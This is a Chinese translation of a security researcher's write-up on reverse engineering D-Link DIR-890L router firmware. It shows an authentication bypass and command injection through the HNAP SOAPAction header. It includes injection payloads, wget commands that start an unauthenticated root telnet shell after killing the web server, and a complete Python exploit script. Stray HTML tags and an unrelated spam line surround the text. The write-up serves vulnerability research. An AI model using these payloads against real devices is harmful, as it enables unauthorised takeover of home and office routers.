<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/5601

            0x00 簡介


            from:http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/

            之前的6個月,D-Link都不斷使壞,把我整的暈頭轉向。今天我想找些樂子,登陸他們的網站,結果就看到了慘不忍睹的一幕:

            D-Link’s $300 DIR-890L router

            這個路由器上運行的固件有很多bug,而最變態的地方在于,它居然跟D-link多年來在各種路由器上使用的固件一模一樣。點我看小視頻

            0x01 開始分析


            按照慣例,我們先獲取最新版本的固件,然后使用binwalk來分析它,可以看到以下的信息:

            DECIMAL   HEXADECIMAL DESCRIPTION
            --------------------------------------------------------------------------------
            0 0x0 DLOB firmware header, boot partition: "dev=/dev/mtdblock/7"
            116   0x74LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4905376 bytes
            1835124   0x1C0074PackImg section delimiter tag, little endian size: 6345472 bytes; big endian size: 13852672 bytes
            1835156   0x1C0094Squashfs filesystem, little endian, version 4.0, compression:xz, size: 13852268 bytes, 2566 inodes, blocksize: 131072 bytes, created: 2015-02-11 09:18:37
            

            貌似這是個非常標準的linux固件鏡像。只要你在過去的幾年里分析過任何一個D-Link的固件,沒準就會知道以下的目錄結構:

            #!bash
            $ ls squashfs-root
            bin  dev  etc  home  htdocs  include  lib  mnt  mydlink  proc  sbin  sys  tmp  usr  var  www
            

            和HTTP/UPnP/HNAP有關的所有文件都存放在htdocs目錄下。其中cgibin文件最有意思,這是一個ARM ELF格式的二進制文件,將被WEB服務器執行,所有CGI,UPnP和HNAP的功能都通過軟連接指向這個程序。

            #!bash
            $ ls -l htdocs/web/*.cgi
            lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/captcha.cgi -> /htdocs/cgibin
            lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/conntrack.cgi -> /htdocs/cgibin
            lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlapn.cgi -> /htdocs/cgibin
            lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlcfg.cgi -> /htdocs/cgibin
            lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dldongle.cgi -> /htdocs/cgibin
            lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwup.cgi -> /htdocs/cgibin
            lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwupload.cgi -> /htdocs/cgibin
            lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/hedwig.cgi -> /htdocs/cgibin
            lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/pigwidgeon.cgi -> /htdocs/cgibin
            lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/seama.cgi -> /htdocs/cgibin
            lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/service.cgi -> /htdocs/cgibin
            lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication.cgi -> /htdocs/cgibin
            lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication_logout.cgi -> /htdocs/cgibin
            

            這玩意錯綜復雜,不過沒關系,有了字符串就可以找到每個功能對應的函數了。
            程序首先會把argv[0]參數和軟連接的名稱作比較,來決定要執行什么樣的動作。(argv[0]是由軟鏈接的名稱來決定的,比如WEB服務器執行htdocs/web/captcha.cgi -> /htdocs/cgibin的話,cgibin獲得到的argv[0]就會包含catpcha.cgi,那么程序就可以跳到catpcha的功能函數當中執行)

            “Staircase” code graph, typical of if-else statements
            

            每個軟連接名稱都是通過strcmp函數來比較的:

            Function handlers for various symlinks
            

            這樣一來, 我們很容易就可以通過符號鏈接的名稱來找到對應的函數功能代碼,然后給它重新起個合適的名字:

            Renamed symlink function handlers
            

            既然發現了這些函數,那我們就開始找bug吧!

            其他的一些D-Link設備,同樣也運行這個固件,他們的HTTP和UPnP接口已經被發現存在漏洞。然而,HNAP接口(存在于cgibin中的hnap_main函數)似乎一直被忽視。

            POST /HNAP1 HTTP/1.1
            Host: 192.168.0.1
            Authorization: Basic YWMEHZY+
            Content-Type: text/xml; charset=utf-8
            Content-Length: length
            SOAPAction: "http://purenetworks.com/HNAP1/AddPortMapping"
            
            <?xml version="1.0" encoding="utf-8"?>
            <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
             <soap:Body>
              <AddPortMapping xmlns="http://purenetworks.com/HNAP1/">
               <PortMappingDescription>foobar</PortMappingDescription>
               <InternalClient>192.168.0.100</InternalClient>
               <PortMappingProtocol>TCP</PortMappingProtocol>
               <ExternalPort>1234</ExternalPort>
               <InternalPort>1234</InternalPort>
              </AddPortMapping>
             </soap:Body>
            </soap:Envelope>
            

            SOAPAction頭在HNAP請求中特別重要,因為它指定了HNAP所要進行的操作。(以上這個請求執行的是AddPortMapping這個功能)
            由于web服務器將cgibin作為CGI來執行,所以hnap_main函數可以通過環境變量訪問到HNAP的請求數據,比如SOAPAction頭:

            SOAPAction = getenv(“HTTP_SOAPACTION”);
            

            在接近函數末尾的部分,程序使用了sprintf函數動態構造一條shell命令,這條命令將被傳入system函數執行:

            sprintf(command, “sh %s%s.sh > /dev/console”, “/var/run/”, SOAPAction);
            

            很明顯,hnap_main使用了請求頭中的SOAPAction頭作為系統命令的一部分!如果SOAPAction頭沒有被過濾,而且進入的這段函數不需要認證,那么這很有可能是一個命令注入的bug。

            回到hnap_main函數的開頭,程序首先檢查SOAPAction頭是否為http://purenetworks.com/HNAP1/GetDeviceSettings,如果是,則跳過認證。這是我們預料之中的,并且我們已經確定,GetDeviceSettings功能是不需要認證的。

            if(strstr(SOAPAction, “http://purenetworks.com/HNAP1/GetDeviceSettings”) != NULL)
            

            然而,可以注意到,strstr被用于字符串檢查,這就表明了,SOAPAction頭只要包含http://purenetworks.com/HNAP1/GetDeviceSettings字符串,就可以通過檢查,繞過認證。
            所以,如果SOAPAction頭包含字符串http://purenetworks.com/HNAP1/GetDeviceSettings,代碼將會從請求頭中解析出Action的名稱(例如GetDeviceSettings)并且會移除字符串最后的雙引號。

            SOAPAction = strrchr(SOAPAction, ‘/’);
            

            上圖代碼會解析出Action名(類似GetDeviceSettings),它將被帶入sprintf函數,構造出被system執行的命令。
            以下的C語言代碼可以幫助大家進一步了解程序中的邏輯錯誤:

            #!c
            /* Grab a pointer to the SOAPAction header */
            SOAPAction = getenv("HTTP_SOAPACTION");
            
            /* Skip authentication if the SOAPAction header contains "http://purenetworks.com/HNAP1/GetDeviceSettings" */
            if(strstr(SOAPAction, "http://purenetworks.com/HNAP1/GetDeviceSettings") == NULL)
            {
                /* do auth check */
            }
            
            /* Do a reverse search for the last forward slash in the SOAPAction header */
            SOAPAction = strrchr(SOAPAction, '/');
            if(SOAPAction != NULL)
            {
                /* Point the SOAPAction pointer one byte beyond the last forward slash */
                SOAPAction += 1;
            
                /* Get rid of any trailing double quotes */
                if(SOAPAction[strlen(SOAPAction)-1] == '"')
                {
                    SOAPAction[strlen(SOAPAction)-1] = '\0';
                }
            }
            else
            {
                goto failure_condition;
            }
            
            /* Build the command using the specified SOAPAction string and execute it */
            sprintf(command, "sh %s%s.sh > /dev/console", "/var/run/", SOAPAction);
            system(command);
            

            以下是這個漏洞產生的兩個重要原因:
            1.如果SOAPAction頭包含http://purenetworks.com/HNAP1/GetDeviceSettings字符串,那么就不需要認證。
            2.程序會將SOAPAction頭中最后一個/后的字符串被帶入sprintf構造shell命令,并且調用system函數進行執行。
            因此,我們很容易就可以構造出一個SOAPAction報頭,既可以繞過認證,又可以將任意命令帶入系統執行:

            SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`reboot`"
            

            將reboot命令替換成telnetd,就可以開啟路由器的telnet服務,獲得一個無需認證的root權限shell:

            #!bash
            $ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`telnetd`"' http://192.168.0.1/HNAP1
            $ telnet 192.168.0.1
            Trying 192.168.0.1...
            Connected to 192.168.0.1.
            Escape character is '^]'.
            
            
            BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh)
            Enter 'help' for a list of built-in commands.
            

            如果開啟了遠程管理功能,HNAP請求將向WAN開放,這就使遠程利用成為可能。當然,路由器的防火墻將阻斷來自WAN的telnet連接。有一個簡單的解決辦法,就是結束HTTP服務器進程,將telnet服務器的端口設置成和HTTP服務器相同:

            #!bash
            $ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`killall httpd; telnetd -p 8080`"' http://1.2.3.4:8080/HNAP1
            $ telnet 1.2.3.4 8080
            Trying 1.2.3.4...
            Connected to 1.2.3.4.
            Escape character is '^]'.
            
            
            BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh)
            Enter 'help' for a list of built-in commands.
            

            wget請求將會被掛起,因為cgibin會等待telnetd返回。下面是用Python寫的一個利用程序:

            #!python
            #!/usr/bin/env python
            
            import sys
            import urllib2
            import httplib
            
            try:
                ip_port = sys.argv[1].split(':')
                ip = ip_port[0]
            
                if len(ip_port) == 2:
                    port = ip_port[1]
                elif len(ip_port) == 1:
                    port = "80"
                else:
                    raise IndexError
            except IndexError:
                print "Usage: %s <target ip:port>" % sys.argv[0]
                sys.exit(1)
            
            url = "http://%s:%s/HNAP1" % (ip, port)
            # NOTE: If exploiting from the LAN, telnetd can be started on
            #       any port; killing the http server and re-using its port
            #       is not necessary.
            #
            #       Killing off all hung hnap processes ensures that we can
            #       re-start httpd later.
            command = "killall httpd; killall hnap; telnetd -p %s" % port
            headers = {
                        "SOAPAction"    : '"http://purenetworks.com/HNAP1/GetDeviceSettings/`%s`"' % command,
                      }
            
            req = urllib2.Request(url, None, headers)
            try:
                urllib2.urlopen(req)
                raise Exception("Unexpected response")
            except httplib.BadStatusLine:
                print "Exploit sent, try telnetting to %s:%s!" % (ip, port)
                print "To dump all system settings, run (no quotes): 'xmldbc -d /var/config.xml; cat /var/config.xml'"
                sys.exit(0)
            except Exception:
                print "Received an unexpected response from the server; exploit probably failed. :("
            

            0x02 結語


            我已經在v1.00和v1.03版本的固件上進行了測試(v1.03版本的固件為截至目前的最新版本),都存在漏洞。那么其他設備是否也存在同樣的漏洞呢?
            分析所有設備固件很乏味,所以我將這個漏洞交給
            Centrifuge團隊,這個團隊擁有一套自動分析系統。他們發現至少以下這些設備存在漏洞:

            據我所知,HNAP協議在任何設備上都無法被禁用。

            更新:
            這個漏洞似乎在今年早些時候被Samuel Huntly發現,但是只在DIR-645被報告和修復。這個補丁看起來很傻比,所以我們還是期待后續吧。

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线